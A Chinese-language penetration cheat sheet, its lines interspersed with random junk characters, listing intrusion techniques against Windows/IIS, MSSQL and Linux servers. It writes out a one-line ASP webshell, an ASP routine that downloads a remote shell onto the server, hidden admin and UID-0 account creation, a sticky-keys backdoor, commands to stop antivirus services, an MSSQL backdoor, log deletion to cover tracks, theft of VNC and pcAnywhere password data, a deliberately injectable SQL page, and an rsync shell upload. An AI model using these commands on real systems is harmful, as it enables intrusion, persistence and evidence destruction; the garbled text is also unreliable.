渗透技巧总结

admin

旁站路径问题
! X! ]; E& A3 W2 Q2 k9 ^  ~8 b: p1、读网站配置。
; w/ q2 H! H* a6 D) Q8 {0 E' s& n2、用以下VBS
On Error Resume Next
$ g, j7 d, C, {- c( S( e8 {! {If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
1 p4 A8 V  c& @$ F+ C, p        
/ e' H* J& C0 n9 u
+ m3 K( Q' i+ uMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

; U& T$ E7 D- \' Y% r3 TUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
9 E5 g$ g1 f$ [3 Q* iEnd If
6 P4 u* g# q5 `% eSet ObjService=GetObject
$ D4 K! P! g! \7 d2 t2 u
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
* S; N: a9 p6 e' u        If IsNumeric(obj3w.Name)
! ~9 n& E1 K4 d
( Z+ s" E3 b8 w: @) u. J( n" tThen
  l, v2 U  ]) |/ P; j9 l( Z                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
) S- Q; |8 ?$ ^0 V: y         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
( k5 ?$ X4 i# N- }, p9 g
) w5 v. n& l% {6 [4 m' u% ~<> 0 Then WScript.Quit (1)
' v8 Q/ C5 n+ ?, X3 ~                WScript.Echo Chr(10) & "[" &
) j+ S8 ]0 o: y4 k
9 e9 q0 A$ y: U& f- @OService.ServerComment & "]"
3 E5 F$ H  A+ t. ?2 q                For Each Binds In OService.ServerBindings
     
' D2 x/ x  Y! v- I# \" _" }
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
. k5 H' L# s, D: }  G7 @+ }' Z
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
) k  _% A, `! x6 J3 @6 ~& ANext
复制代码
  g# D: H1 t9 F- \4 V3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
+ a) Q: I7 k( k; {& {; B9 X4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
( s0 Y8 K3 d  t( b! x7 kurl/wp-content/plugins/akismet/akismet.php
6 A" M/ N1 M; J; A, l+ F  Hurl/wp-content/plugins/akismet/hello.php
8 V7 p+ j  J9 [——————————————————————
. k. @1 p! R7 GphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
9 ~: i$ J/ x& R# Q+ bphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
: h, A- b; l  T+ g1 h, i* L# {4 t————————————————————
CMD下操作VPN相关
6 E" ~( z; i1 D) z8 \% `; A+ m$ ^% Tnetsh ras set user administrator permit #允许administrator拨入该VPN
% Q8 b- m. N* t6 U7 Bnetsh ras set user administrator deny #禁止administrator拨入该VPN
2 n3 L6 r  {& O; v" Z# @. Lnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
/ W' z: h8 z, @. ], mnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
; {! L0 `0 n& J4 m————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
$ `' l- b" L8 C, E! Gexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
- Y" S4 V" T2 \0 G: ^* U然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

9 P; i6 w- w+ e# |( V另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
" N; \$ E; R" w1 ejs:
% P3 ?2 _* G0 A8 `, L( g5 C, mvar o=new ActiveXObject( "Shell.Users" );
! F8 O8 Y7 `! s) Lz=o.create("test") ;
, n, {6 Z6 D* q8 wz.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
( A; |2 s6 v" j* b% M" CSet   o=CreateObject( "Shell.Users" )
, [% {8 |1 ^. e# X3 @) W# NSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
0 H. `. X7 _- [2 {cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
$ b- j' \4 v1 `# O
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
1 j9 J5 U3 L! p; k+ I3 j3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
: j+ r  Y# m7 G9 \* B9 `b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
) m& ?( w" M, h" ?( a: k" ^: X2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
7 c2 `& c/ ]! U6 p7 G2 q9 Y处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
4 ~/ J8 U0 J; S$ nnet stop "Symantec Settings Manager" /y

1 b' j' n  I# M& [8 G# ]1 I卖咖啡：net stop "McAfee McShield"
————————————————————

# j9 s+ |; J) w2 B7 U5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
" y) U, u$ C; q3 f9 {# P2 r* u隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
6 X3 H- s1 C& n- h2、导出注册表SAM下用户的两个键值
* @- U" n% e' u7 }, z- t3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
! J% a. n# t+ e- U& G4、利用Hacker Defender把相关用户注册表隐藏
% G+ K; B: f4 p( D4 z9 ^——————————————————————
MSSQL扩展后门：
* b  K& w" N8 Z. G3 aUSE master;
( k1 U6 Y% G  eEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
# X6 V; Y* J# H% j; ^: Z日志处理
) p$ u( j/ h" b9 i0 s2 oC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
$ ]2 A$ }1 T+ X' O- t不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
, f9 v/ p- o. f用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
; W  @; x4 k2 P7 {当停止msftpsvc服务后可直接删除ex011124.log
0 \, x1 Y" _: U1 X6 g& A
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
6 ~) }- |1 o% k# s找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

8 U: [+ o0 _# t4 |<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
& e" R$ B# B4 o: x! f; SDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
) S, g) T' d! L4 G3 Y2 G& kWith Retrieval
5 z* Y9 {. R5 P: @4 ~.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
7 [' l, ^% M2 O  }& SEnd With
# f' c  M& Y+ z; }& P% eSet Retrieval = Nothing
- Z" T  I# O# wSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
3 P3 J- r) o5 B. ]( Y. Z) Y.Type = 1
7 ^% A1 F, M2 X& r8 J% B& R.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
2 p0 ^. b+ J1 x1 q! f* b.Cancel()
/ K( w/ K$ a  L) ?7 B; D( W# f.Close()
End With
" e* M+ |) Q5 e0 B1 TSet Ads=nothing
End Sub

& M3 V' a, y/ S; f' h5 }" W3 qeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
, G3 c: L0 X5 A& P5 W%>
" X& f. s% Y! w6 d+ O
+ v9 z6 G$ U4 s9 @* I6 `; g# yVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
2 j: M" E- o: O注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
& o, N) ~6 F/ ], {  i. x5 tregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
* {3 T( ]: ]; t6 M然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
% P- X2 r& B- h9 l——————————————————————
* f" r7 t" E3 q搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
; P1 q- Z% i" [% |) V# x4 B+ x——————————————————----------
% i& R% ]3 g! V% \! `WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
3 R. [% l% n3 p: X, w没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
7 v- v2 d' y" M$ y6 _
1433 SA点构建注入点。
<%
$ P5 @; k: ~+ j( _  U6 JstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
/ Q: b" v% ^4 L- C  `# n3 cstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
* [6 T3 m& P# @6 U5 FstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

2 v6 S6 N0 D! U- k0 dstrSQLDBName & ";"
- g0 J: B8 F* {* ~  [conn.open strCon
) V5 D+ ~$ A5 |( [& X! {4 \dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
6 w! x$ i; A, MstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
) H7 G' F( E+ z* Z) _/ h%>
复制代码
' y& L2 V: w& ^" S1 e& e1 c******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

" {- I" G! x/ ~+ @2.less /etc/ldap.conf
5 F6 Q* I, O* W6 Wbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
/ X& Q& V+ e$ E1 l1 f
' R# V6 I# V" v9 u- y3.查找管理员信息
匿名方式
0 {% O2 e2 m/ ^9 ~  w* H3 dldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 j& i, N( s5 X7 L
- R: z% c- a$ v: F2 w"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
- T0 y$ c* g7 O1 y# ?6 w* d+ C% H有密码形式
3 G# l( U) {* a+ r7 ~: }& o8 qldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 X" @  @2 ^( W# E0 b- \0 A3 \9 a

4.查找10条用户记录
% h$ Z8 H6 R' X2 B+ vldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
2 y7 ]- W$ k  x7 q
实战:
5 J9 F  B3 ^2 A& }& G$ Y! n- g7 ?1.cat /etc/nsswitch
5 }3 U2 D9 V3 @  e: O! d6 }2 z看看密码登录策略我们可以看到使用了file ldap模式
" j# G9 _$ @; r* ?; `9 |
2.less /etc/ldap.conf
8 t1 D! b& L! r) M: `) Dbase ou=People,dc=unix-center,dc=net
- _2 U2 `+ j' l% V3 Y6 L找到ou,dc,dc设置

3.查找管理员信息
匿名方式
! ^: B( A3 p7 z4 C2 Pldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
) _' u6 `: z9 A2 I8 z, E) k) o; D有密码形式
4 q1 V- F. [* x9 ?" }& E, nldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
& @7 s, s& o2 P5 U3 R  j: u
1 Q( G" Q- @: [; {' W"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

" {4 f+ W8 ~6 C. W2 \
4.查找10条用户记录
) |. d2 ]8 R$ a! ]' Jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
# P5 r$ g7 p; e% c$ K0 o4 ]1.返回所有的属性
! W4 c% g; ^" \& `ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
  J2 Z8 y) H6 S1 w( lversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

- C- ]6 I* W4 R+ Q5 ^$ S  |dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
0 u( l# B  |) C4 Z8 V. ]6 vobjectClass: top
, [1 e% O  t+ _5 L6 Psn: manager
+ z. L! p# \( C. i# u. Hcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
+ c6 l4 L' U+ n4 d/ B" H0 V4 nuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
* V  v5 i. l& z! ]objectClass: person
objectClass: top
sn: superadmin
cn: superadmin

9 S" n7 C* F2 ndn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
% s5 A9 J* {: A' {# D* q" ^- robjectClass: organizationalPerson
' K: K+ p; w/ MobjectClass: person
objectClass: top
9 l; `& i: _9 s3 z) N- usn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
0 t- ]! D: H  D" ?6 ]4 ?0 j9 Puid: dcp_anonymous
; j) X5 O5 \% b1 v" JobjectClass: top
, }& o+ v- n: A2 I; k, u. UobjectClass: person
! m  k9 ]8 }3 v! DobjectClass: organizationalPerson
7 J! L4 v% u  p' z- B$ I5 QobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

* ^5 B5 @! e; j+ r1 C" Q  P2.查看基类
0 J8 m* m' z+ ^- ~bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
# H$ h, b2 q+ e$ N) D, t0 L, T
more
1 a) A! z4 W* N2 S  xversion: 1
' N9 \) C: @8 e/ d1 b" g: l3 ^$ Edn: dc=ruc,dc=edu,dc=cn
dc: ruc
3 z! K5 k& O1 Y) l# [) _" l1 P( DobjectClass: domain
# q0 j6 w2 {) r5 @2 \5 O5 i
4 @4 x8 \# O: {0 x3.查找
4 Q( c: j- p; m( B: Q& {! ~bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
  K( o5 |8 F9 Q# E; g) o0 f+ b* _8 ^! X1 sversion: 1
1 G! u8 `+ v  I' S7 \% sdn:
* K5 M+ Q  w9 C2 ~) ^! e' UobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
* o9 V% _* R% j6 f$ BsupportedExtension: 2.16.840.1.113730.3.5.7
1 G/ h2 ?* E8 d/ z1 I' BsupportedExtension: 2.16.840.1.113730.3.5.8
7 L0 M) U" X3 {supportedExtension: 1.3.6.1.4.1.4203.1.11.1
1 t6 A0 g1 E) [" ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
  O  X3 X* n) h; q  F4 CsupportedExtension: 2.16.840.1.113730.3.5.3
- I4 i8 S. o9 @supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
8 k1 k) T: `% J6 Y# A% isupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
: s9 k% K( b8 o- ?, o, NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
! K  k" q! i8 K8 K  ^! c  g6 d% TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
. f  F4 s! Q1 R/ R4 g0 D) B0 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
0 ~: X3 D6 o& ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
& }+ N* H- ~& Q, gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
$ ?$ ~( J: D+ L7 z' n2 PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
* d. h/ Y: o7 f6 Y3 H7 jsupportedControl: 2.16.840.1.113730.3.4.4
$ ^$ ?. u. l8 U  YsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
/ T. X% M- Q1 F: {0 x: V! FsupportedControl: 2.16.840.1.113730.3.4.15
) O  R% h6 F9 N" o0 ysupportedControl: 2.16.840.1.113730.3.4.17
0 r/ ]- C/ B) Y' l4 }( X3 D* _supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
1 z( R  @& e" {$ e! o/ E/ ]supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
) `# L7 b1 r% C" ?5 @2 A$ osupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
( t6 r. F5 K- T1 V3 D. M% lsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
4 u" s- J+ m0 e  BsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
" k) s. c. G# s4 U! i% ~4 esupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
, j* d3 z0 m8 T) XsupportedControl: 2.16.840.1.113730.3.4.12
% A- p6 s) c) |  HsupportedControl: 2.16.840.1.113730.3.4.18
  K6 d) ~" v! `1 x, c7 }- n% r4 CsupportedControl: 2.16.840.1.113730.3.4.13
4 i5 ~$ \* i8 ^/ ?  y1 FsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
4 e/ _8 z* l- |$ CsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
! U3 f) b9 n6 Q" g" X7 lvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
& w1 r2 J4 z/ Z! E& I$ d" T, v) wnetscapemdsuffix: cn=ldap://dc=webA:389
( H' L7 H  y3 U, ssupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
' U, \6 F1 Q' g5 ~" a2 a  m' lsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
7 h# m2 K; y3 W; s/ X9 `supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
9 Z+ h) X* r5 \6 \* MsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
- E; X$ U  V8 h: G+ z, h* a2 d1 usupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
. g4 H$ ]& Q/ X; J' _' \+ s  }6 zsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
% d+ A& T& \8 r+ X4 y) N4 isupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
) {# r; x9 N6 I" v& d6 s) N+ B! }supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
* j8 ~0 y! m& E1 ^4 dsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
4 t' M# _& ]) J6 NsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
* v9 {9 o! [" u- X/ }$ a* j0 \supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
7 m' w4 V; s, w0 p" t, O/ GsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
3 K; l8 V. l  X. rsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
$ g. i  v. u! z7 k( e7 H3 ssupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
: ]) X+ s4 C: H& c6 w' ~  X/ msupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
" P& N6 J# h$ R' T! hsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
  i# ^/ e* h+ }  ~# rsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
% M: V% O& o$ N2 l+ WsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
# d6 }( x, h  V- b7 csupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
/ [5 `/ [. M/ R# |8 LsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
2 R2 S8 S  R  k- EsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
* U6 X6 o1 Z2 J; a3 X& |supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
) s6 F3 V  U6 u1 W! n6 bsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
; j( `' F" A; Q+ GsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
5 w9 R9 j' B4 L3 I' J) {; QsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
, L% @# F5 P+ Y+ u8 DsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
8 l/ t+ E8 S% m————————————
  E/ i+ p( W* M) D) `  c3 F2. NFS渗透技巧
showmount -e ip
0 @4 A: N: v4 V- D8 d8 n- H) g列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
+ R/ p0 r5 M) {% ~! Q9 pimg_finance
. U, j3 }* R, B  d1 `5 [2 z1 Y- Qauto
img_auto
7 ~% v5 A# n4 yhtml_cms
img_cms
ent_cms
. L- P2 O8 J! G+ X! Aent_img
ceshi
% i" u; }; T& L" _- \res_img
res_img_c2
- `: V$ X& j2 ~- Y+ [chip
, l1 H$ I3 S; d8 ^chip_c2
3 e7 G9 ~8 F  Y# i. ^, {. i5 Nent_icms
games
gamesimg
. ~5 W# H. G0 Z& B( Cmedia
mediaimg
fashion
res-fashion
* w3 A2 T4 c5 ^res-fo
  p! P/ G1 Z7 }: \. K5 B! O" r4 ataobao-home
/ `' p0 n6 N9 R" [- Lres-taobao-home
# {8 K/ G( r# }* O  P  i  [  dhouse
res-house
res-home
res-edu
% i9 q6 t- M% E- y  d1 y( x) m# ores-ent
res-labs
$ t; l" x9 S/ j' B# w7 {res-news
res-phtv
0 G( g! I5 H  R/ Z) [0 ?res-media
home
% V% s0 C; ~7 k9 B2 ^1 q! ^edu
news
res-book
. z% w; G2 Y, K' w3 O  L
& o4 \$ {$ U, U. {看相应的下级目录(注意一定要在目录后面添加上/)

9 p* p5 P, r  N) ?
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

' {0 r0 P; ?9 n# V& w7 X2.下载rsync服务器上的配置文件
1 D+ ^% e4 |. F  Z5 H* jrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

9 P; ]8 {+ {9 L% c4 [# W" L9 _& \3.向上更新rsync文件(成功上传,不会覆盖)
0 A6 v$ M4 |8 j  |7 jrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
# {$ V( o; f( U4 [http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
* b; V: p( e% \0 K4 ~nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
0 @, R5 X. B6 eGET HTTP://WWW.sina.com:22 / HTTP/1.0
) M9 M/ r8 @3 x  W: Z% Y五.SSH端口转发
" |* {1 a! c: M+ m! Pssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
: W3 z/ b8 F& ]7 E: E0 `7 N) J; W
六.joomla渗透小技巧
确定版本
: Z( N& U* Y+ Eindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
/ A& T7 I2 n- V5 y7 D
15&catid=32:languages&Itemid=47
$ _2 o/ |+ ?; V; ~4 G
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
, H- H& y# X& z+ l* ~
9 k5 s3 w5 e# t( Y3 [七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
" v4 l1 \) N# U$ v' m# R
八.freebsd本地提权
) ^2 w6 d* J+ D3 _3 b+ \/ s' E, S[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
2 I" r  U- e, `$ \# o: u- p* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
1 z4 V1 j4 f2 N, c* F3 m* [argp@julius ~]$ id
+ B' |2 E+ ~" q+ M* uid=1001(argp) gid=1001(argp) groups=1001(argp)
' p0 |/ c" }" F9 K4 a! p7 x$ |* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
6 {; E- z; k! K8 \: T! i0 u*
* k8 M/ u+ A1 xcalling nmount()
